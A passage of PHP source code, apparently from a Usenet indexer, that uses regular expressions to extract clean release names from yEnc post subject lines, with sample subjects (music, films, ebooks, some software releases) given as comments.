yEnc\n\t\t//<<<Thor0103>>><<<Amorphis_-_Tuonela-Digipak-1999-kispatak>>>usenet-space-cowboys.info<<<Powered by https://secretusenet.com>< \"09_rusty_moon-kispatak.mp3.par2\" >< 01/26 (143,73 MB) >< 6,10 kB > yEnc\n\t\tif (preg_match('/^<<<.+>>><<<(.+)>>>usenet-space-cowboys\\.info.+secretusenet\\.com>< \".+?' .\n\t\t\t\t\t $this->e0 .\n\t\t\t\t\t ' >< \\d+\\/\\d+ \\(\\d+[.,]\\d+ [kKmMgG][bB]\\) >< \\d+[.,]\\d+ [kKmMgG][bB] > yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<<<usenet-space-cowboys.info>>> THOR <<<Powered by https://secretusenet.com>< \"Bangbros_Vs_Hansebanger_-_Kiezstyle-Promo-Vinyl-2006-ToTo_usenet-space-cowbys.info.avi\" >< 3/5 (31,12 MB) >< 11,21 MB > yEnc\n\t\tif (preg_match('/^<<<usenet-space-cowboys\\.info>>>.+secretusenet\\.com>< \"(.+?)-\\w+_usenet-space-cowbys\\.info' .\n\t\t\t\t\t $this->e0 .\n\t\t\t\t\t ' >< \\d+\\/\\d+ \\(\\d+[.,]\\d+ [kKmMgG][bB]\\) >< \\d+[.,]\\d+ [kKmMgG][bB] > yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<<<Usenet-Space-Cowboys.info>>><<<Fuzzy>>> <Powered by https://secretusenet.com> < \"Alice_Cooper-Trash-1989-Wyse.nfo\" >< 2/8 (89,39 MB) >< 17,21 kB > yEnc\n\t\tif (preg_match('/^<<<usenet-space-cowboys\\.info>>>.+secretusenet\\.com> < \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 .\n\t\t\t\t\t ' >< \\d+\\/\\d+ \\(\\d+[.,]\\d+ [kKmMgG][bB]\\) >< \\d+[.,]\\d+ [kKmMgG][bB] > yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //>>> www.lords-of-usenet.org <<< \"Chris De Burgh - The Getaway.par2\" - [1/9] - [115,51 MB] yEnc\n\t\t//>>> www.lords-of-usenet.org <<< \"Das Deutsche Schlager Magazin Die Maxis 1 2CD.par2\" [01/12] - 205,70 MB yEnc\n\t\tif (preg_match('/^>>> www.lords-of-usenet\\.org <<< \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 .\n\t\t\t\t\t '[-_\\s]{0,3}\\[\\d+\\/\\d+\\] - (\\[)?\\d+[.,]\\d+ [kKmMgG][bB](\\])? yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[BFMP3] [Barrelhouse_Time Frames.nzb] [00/18] yEnc\n\t\tif (preg_match('/^\\[.+?\\][-_\\s]{0,3}\\[([\\w.,& ()\\[\\]\\'\\`-]{8,}?)(\\.part\\d*|\\.rar)?(\\.vol.+ \\(\\d+\\/\\d+\\) \"|\\.[A-Za-z0-9]{2,4}\\])[-_\\s]{0,3}[\\(\\[]\\d+\\/\\d+[\\)\\]][-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Metallica - Ride The Lightning \"01 - Fight Fire With Fire.mp3\" yEnc\n\t\tif (preg_match('/^([\\w.,& ()\\[\\]\\'\\`-]{8,}?)[-_\\s]{0,3}(\"|#34;)(.+?)(\\.part\\d*|\\.rar)?(\\.vol.+ \\(\\d+\\/\\d+\\) \"|\\.[A-Za-z0-9]{2,4}(\"|#34;))[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(01/11) \"Der Kleine Vampir Komplett - Folge 01 bis 18 www.brothers-of-usenet.org - empfehlen - Newsconnection.eu.nfo\" yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) \"([\\w.,& ()\\[\\]\\'\\`-]{8,}?) www\\.brothers-of-usenet\\.org - empfehlen - Newsconnection\\.eu' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //The Refreshments - [1/9] - \"The Refreshments - Rock´n Roll Christmas [2003].par2\" yEnc\n\t\tif (preg_match('/([\\w.,& ()\\[\\]\\'\\`-]{8,}?)[-_\\s]{0,3}[\\(\\[]\\d+\\/\\d+[\\)\\]][-_\\s]{0,3}\"(.+)(\\.part\\d*|\\.rar)?(\\.vol.+ \\(\\d+\\/\\d+\\) \"|\\.[A-Za-z0-9]{2,4}\").+?yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //Longines Symphonette-Far Away Places-(LP2 of 2)-Far Away Places-LP 2.par2 yEnc\n\t\tif (preg_match('/^([\\w.,& ()\\[\\]\\'\\`-]{8,}?)([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Reader's Digest- Mario Lanza-The Very Best of Mario Lanza(CD3 of 3)-CD 3.par2 yEnc\n\t\tif (preg_match('/^Reader\\'s Digest- {0,1}(.+?)([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[01/10] - \"Acdc - Fly On The Wall - 1985 -01 - Fly On The Wall -Creative7164.mp3\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w.,& ()\\[\\]\\'\\`-]{8,}?)[-_\\s]{0,3}\\d+[\\w.,& ()\\[\\]\\'\\`-]{8,}?' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[1/7] ->> \"God Forbid 2009 - Reject the Sickness.par2\" <<- ShapterV yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\] ->> \"([\\w.,& ()\\[\\]\\'\\`-]{8,}?)' . $this->e0 .\n\t\t\t\t\t ' <<- ShapterV yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Glenn Miller-The Missing Chapters Vol. 6-Blue Champagne--Glenn Miller-The Missing Chapters Vol. 6-Blue Champagne.par2 yEnc\n\t\tif (preg_match('/^([\\w.,& ()\\[\\]\\'\\`-]{8,}?)--[\\w.,& ()\\[\\]\\'\\`-]{8,}?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function sounds_lossless()\n\t{\n\t\tif (preg_match('/^http:\\/\\/dream-of-usenet\\.org .+? - \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//Rush - Sector One 24-96 (000/229] - \".nzb\" yEnc\n\t\t//Stevie Ray Vaughan - Couldn't Stand the Weather (01/19] - \".sfv\" yEnc\n\t\tif (preg_match('/^([a-zA-Z0-9]+.+? - .+?)\\s+\\(\\d+\\/\\d+\\] - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //trtk07073 - [18/26] - \"1990 Santana - Spirits Dancing In The Flesh (flac).part17.rar\" yEnc\n\t\tif (preg_match('/^trtk\\d+ - \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //COMPLETE REPOST Magma - NMR - 1974 - Wurdah Itah [01 of 23] \"1974 - Wurdah Itah.par2\" yEnc\n\t\tif (preg_match('/^COMPLETE REPOST (.+? - )NMR -( \\d{4}) - (.+?) \\[\\d+ of \\d+\\] \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1] . $match[3] . \"(\" . $match[2] . \")\";\n\t\t} //Sensation - VA - Source Of Light (2CD 2012) [02 of 67] - \"00 - Sensation - VA - Source Of Light (2CD 2012) [nmr].txt\" yEnc\n\t\tif (preg_match('/^([A-Z0-9].+? - VA - .+?) \\[\\d+ of \\d+\\] - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//Ryan McGarvey - Forward In Reverse [01/21] - \"00 - Ryan Mcgarvey - Forward in Reverse.nfo\" yEnc\n\t\t//JFC - The Timerewinder (NMR) [01/15] - \"00 - The Timerewinder.nfo\" yEnc\n\t\t//The Brothers Johnson - 1981 - Winners (2011 expanded remastered) [01/31] - \"01 - The Real Thing.flac\" yEnc\n\t\t//Jermaine Jackson - 1980 - Let's Get Serious [00/23] - \"Jermaine Jackson - 1980 - Let's Get Serious.nzb\" yEnc\n\t\tif (preg_match('/^([A-Z0-9][A-Za-z0-9 ]{2,} -( \\d{4} -)? [A-Z0-9].+?( \\(.+?\\))?) \\[\\d+\\/\\d+\\] - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//Miles Davis - In A Silent Way (1969) [2013 - HDTracks 24-176,4] - \"iasw24-176.par2\" yEnc\n\t\t//Bob James & David Sanborn - Quartette Humaine (2013) [HDTracks 24-88,2] - \"qh24-88.par2\" yEnc\n\t\tif (preg_match('/^([A-Z0-9].+? - [A-Z0-9].+? \\(\\d{4}\\) \\[.*?HDTracks.+?\\]) - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//Sonny Landreth - 2010 - Mississippi Blues - 04 of 29 - 00 - Mississippi Blues.sfv yEnc\n\t\t//Fruteland Jackson - 1996 - ... Is All I Crave - 08 of 20 - 00 - Fruteland Jackson - ... Is All I Crave.log yEnc\n\t\tif (preg_match('/^([A-Z0-9].+? - \\d{4} - .+?) - \\d+ of \\d+ - \\d+ - .+? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(VA - Cafe Del Mar Dreams 5-2012-Samfie Man) [37/38] - \"VA - Cafe Del Mar Dreams 5-2012-Samfie Man.vol063+040.par2\" yEnc\n\t\tif (preg_match('/^\\((VA - .+?)\\) \\[\\d+\\/\\d+\\] - \".+?\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //(152092XA20) [08/16] - \"Guns and Roses - Use Your Illusion I - 08-Back Off Bitch.flac\" yEnc\n\t\tif (preg_match('/^\\([A-Z0-9]+\\) \\[\\d+\\/\\d+\\] - \"(.+?) - \\d+-.+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Eros_Ramazzotti-Eros-IT-CD-FLAC-1997-FADA[04/26] - \"00-eros_ramazzotti-eros-1997-fada.sfv\" yEnc\n\t\tif (preg_match('/^([\\w-]{5,})\\[\\d+\\/\\d+\\] - \".+?\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//.: VA-Liquid_Music-The_Future_House_Compilation-CD-FLAC-1993-WRS :. - .:www.thunder-news.org:. - .:sponsored by secretusenet.com:. - \"00-va-liquid_music-the_future_house_compilation-cd-flac-1993-wrs.nfo\" yEnc\n\t\t//.:Bruce_BecVar-Arriba-CD-FLAC-1993-JLM:. - .:thunder-news.org:. - .:sponsored by secretusenet.com:. - \"00-bruce_becvar-arriba-cd-flac-1993.m3u\" yEnc\n\t\tif (preg_match('/^.:[-_\\s]{0,3}(.+?)[-_\\s]{0,3}:..+?thunder-news\\.org.+?secretusenet\\.com:. - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //_ \"CARUSO & GIGLI - O Sole Mio - The Unknown.nzb\" yEnc\n\t\tif (preg_match('/^[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//\"Art Tatum - The Complete Trio Sessions with Tiny Grimes & Slam Stewart - Vol 1.NFO\" - 1 of 6 (1/1)\n\t\t//\"Galen Jeter and the Dallas Jazz Orchestra - Thank You, Leon.NFO\" - 1 of 5 (1/1) (1/1)\n\t\tif (preg_match('/^[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t '[-_\\s]{0,3}\\d+ (of \\d+)( \\(\\d+\\/\\d+\\)){1,2} (yEnc)?$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"Doc Watson - 1973 - The Essential Doc Watson - 01 - Tom Dooley.flac\" - 406.64 MB - yEnc\n\t\tif (preg_match('/^[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t '[ _-]{0,3}\\d+[.,]\\d+ [kKmMgG][bB][ _-]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function amazing()\n\t{\n\t\tif (preg_match('/^\\(\\?+\\) \\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(Ass Backwards (2013) WEBrip XviD AC3 (english subs)) [18/35] - \"Ass Backwards (2013) WEBrip XviD AC3 (english subs).part17.rar\" yEnc\n\t\tif (preg_match('/^\\([\\w!.,&_ ()\\[\\]\\'\\`-]{8,}\\)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(Angels4Always) [1/1] - \"Vermeulen, John - De tweelingparadox.rar\" yEnc\n\t\tif (preg_match('/^\\(Angels4Always\\)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Heaven_en_Fayth Presenteren Diana Gabaldon - Reiziger Cyclus 01 - De Reiziger[0/3] - \"Diana Gabaldon - Reiziger Cyclus 01 - De Reiziger.nzb\" yEnc\n\t\tif (preg_match('/^[\\w!.,&_ ()\\[\\]\\'\\`-]{8,}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //www.wolfsteamers.info [1/6] - \"Wohnen Bauen Leben - Sommer 2014.par2\" - 16,46 MB yEnc\n\t\tif (preg_match('/^www\\.wolfsteamers\\.info[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //096XZFUPQ0PxH4441H14fU8V - [34/99] - \"096XZFUPQ0PxH4441H14fU8V.part033.rar\" yEnc\n\t\tif (preg_match('/^\\w+[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //05VANmA80DckBho \"05VANmA80DckBho.part07.rar\"08/94 yEnc\n\t\tif (preg_match('/^\\w+[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t '\\d+(\\/\\d+)[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(Slaapkop post voor http://the-ultimate-force.org.ua/) [0/7] - \"Wham - I'm Your Man (1985).nzb\" yEnc\n\t\tif (preg_match('/^\\(.+the-ultimate-force\\.org\\.ua\\/\\)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(001/101) - P2H - \"L62WD8P4U539A7.par2\" - 4,66 GB - Z9F6KN7SXRCY845 yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) - P2H - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '[-_\\s]{0,3}\\d+([.,]\\d+)? [kKmMgG][bB][-_\\s]{0,3}\\w+[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(001/101) \"654258ItB1418pBRDNS264159.par2\" - 9,74 GB - yEnc\n\t\t//(001/105) - Description - \"oH291TB0bPxf3lqm1P7QQ.par2\" - 4,56 GB - yEnc\n\t\t//(03/43) - FTTEAM.INFO - \"JDSJ2J4ENASJCKR-FTTEAM.INFO.part02.rar\" - 2,04 GB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)([-_ ]{0,4}(Description|FTTEAM\\.INFO))?[-_ ]{0,4}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[3];\n\t\t} //- - [001/242] - \"C65JuogI92CwfMo2TiX59.par2\" yEnc\n\t\tif (preg_match('/^[-_ .]{0,4}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //- \"5nivJ7V6Q2jqAR34bZ8m.part46.rar\" yEnc\n\t\tif (preg_match('/^[-_ .]{0,4}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //- \"7UAF6LE2PDM38NB.par2\" - 8,53 GB - yEnc\n\t\tif (preg_match('/^[-_ .]{0,4}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //- [01/10] - \"file.xyz\" yEnc - [001/107] - \"86u1Qr8mm56jGiW7nUPTM.par2\" yEnc\n\t\tif (preg_match('/^[-_ ]{0,4}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\".+\" yEnc[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function etc()\n\t{\n\t\tif (preg_match('/^\\[scnzbefnet\\] (.+?) \\[\\d+\\/(\\d+\\]) - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //..:[DoAsYouLike]:.. 116,12 MB \"Graphite v8.9.17 SP4R4.nfo\" 3,00 kB yEnc\n\t\tif (preg_match('/^.+\\[DoAsYouLike\\].+\\d+[.,]\\d+ [kKmMgG][bB].+\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . ' (\\d+[.,])?\\d+ ([kKmMgG])?[bB][-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(047/550) \"Enf.S02E02.G.D.D.W.7.H.x2-e.vol105+99.PAR2\" - 36,13 GB -Enf.S02.G.D.D.W.7.H.x2-e yEnc\n\t\t//[3/3] - \"Mayle Peter - Der Coup von Marseille.epub.vol0+1.par2\" - 956,83 kB {UR} yEnc\n\t\tif (preg_match('/^[\\(\\[]\\d+\\/\\d+[\\)\\]][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '.+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<<<Old but Sold>>> <<< >< >< \"German Top 50 ODC - 12.08.2013.nfo\" >< 02/33 (541,61 MB) >< 10,93 kB > yEnc\n\t\tif (preg_match('/^.+Old but Sold.+>< \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . ' >< \\d+\\/\\d+ \\(\\d+[.,]\\d+ [kKmMgG][bB]\\).+ yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<<<THOR for Usenet-Space-Cowboys>>> - 1Password V1.0.9.236 Setup Key.PAR2 yEnc\n\t\tif (preg_match('/^.+Usenet-Space-Cowboys.+> - ([A-Z0-9][a-zA-Z0-9\\. ]{6,})([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}).+ yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //704900999555666777123978 - [398/415] - \"Jormungand Complete [720p] mHD.part31.rar\" yEnc\n\t\tif (preg_match('/^\\d+[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Man.Of.Steel.2013.BRRip.x264.AC3-UNiQUE - [02/38] - \"Man.Of.Steel.2013.BRRip.x264.AC3-UNiQUE.part01.rar\" yEnc\n\t\tif (preg_match('/^[\\w. -]+[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w.()-]{8,}?\\b)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<<<< old but sold >>>> < USC> <\"K11 - Kommissare im Einsatz (DE) NDS.part3.rar\">[04/11] 74,54 MB yEnc\n\t\tif (preg_match('/^.+old but sold.+([\\w. ()-]{8,}?\\b)' . $this->e0 .\n\t\t\t\t\t '>\\[\\d+\\/\\d+\\][-_\\s]{0,3}\\d+[.,]\\d+ [kKmMgG][bB][-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Uploader.Presents-ACDC.Let.There.Be.Rock.1980.720p.BluRay.DD5.1.x264-DON(00/47]\"rock.ac3.720p.nzb\" yEnc\n\t\tif (preg_match('/^Uploader\\.Presents-([\\w. ()-]{8,}?\\b)[\\(\\[]\\d+\\/\\d+\\]\".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Bitsum.Technologies.Process.Lasso.Pro.v6.5.00.Cracked-EAT - [3/4] - \"eat.vol0+1.par2\" yEnc\n\t\tif (preg_match('/^([\\w.()-]{8,})[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<<<usenet-space-cowboys.info>>> USC <<<Powered by https://secretusenet.com><Medieval Wii Pal>< \"Medieval Wii Pal.vol108+29.par2\" >< 60/60 (4,82 GB) >< 95,77 MB > yEnc\n\t\tif (preg_match('/^.+?usenet-space.+?Powered by.+? \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '.+? \\d+\\/(\\d+.+?)$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Uploader.Presents-ACDC.Let.There.Be.Rock.1980.720p.BluRay.DD5.1.x264-DON(00/47]\"rock.ac3.720p.nzb\" yEnc\n\t\tif (preg_match('/^Uploader\\.Presents-([\\w. ()-]{8,}?\\b)[\\(\\[]\\d+\\/\\d+\\]\".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Bitsum.Technologies.Process.Lasso.Pro.v6.5.00.Cracked-EAT - [3/4] - \"eat.vol0+1.par2\" yEnc\n\t\tif (preg_match('/^([\\w.()-]{8,})[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<<<usenet-space-cowboys.info>>> USC <<<Powered by https://secretusenet.com><Medieval Wii Pal>< 